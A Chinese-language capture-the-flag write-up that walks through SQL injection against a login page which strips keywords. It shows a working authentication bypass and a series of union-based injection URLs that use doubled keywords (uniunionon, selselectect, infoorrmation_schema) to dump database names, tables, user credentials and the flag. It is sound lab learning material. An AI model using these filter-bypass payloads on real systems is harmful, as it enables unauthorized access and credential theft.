又是这个页面,一样的网站,就是加了过滤,试一下万能密码登陆:
用户名:1' or 1=1#
密码:123
具体报错如下:只保留了 1=1# ,这就说明被检测到了or,并把or给过滤了
看一看还过滤了什么玩意:
随便输入:
用户名:1' union select 1,2,3#
报错显示只保留了 1,2,3# ,这就说明被检测到了union 和 select,并把他们给过滤了
我们猜测后台的过滤原理是使用replace()函数,查找到or、union和select等然后替换为空了,replace()函数直接用双写绕过就行了。
改成输入:
用户名:1' oorr 1=1#
登陆成功:
接下来的思路就和LoveSql一样了。
爆当前数据库名:
/check.php?username=1' uniunionon selselectect 1,2,database()%23&password=123
爆表:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123
难道information_schema也被过滤了?发现原来information_schema里面也有个or,以此类推order by也不可,那就改成这样:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23&password=123
还是报错:
试试是不是from也被过滤了:
随便输入:
用户名:1' from #
发现确实少了from,from确实被过滤了,同样试了试where、and等所有能用的关键字也被过滤了,
那好吧,继续:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
这下成功了。
爆字段:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=123
爆数据:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql%23&password=123
却发现:
原来password中有or,所以也被过滤了:
我们改成passwoorrd:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql%23&password=123
@附录@:
还有个方法就是通过infoorrmation_schema.schemata爆出所有的数据库名(schema_name):
/check.php?username=1' uniunionon selselectect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata %23&password=123
然后我们发现了ctf库,推测这才是有flag的库 ,当然当前的库也有可能。
爆表:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='ctf'%23&password=123
发现Flag,之后再发现Flag表中有个flag字段。
爆数据:
/check.php?username=1' uniunionon selselectect 1,2,flag ffromrom ctf.Flag%23&password=123
必须要用ctf.Flag,否则发生如下错误:
因为当前连接的是geek库,不能去ctf库取数据。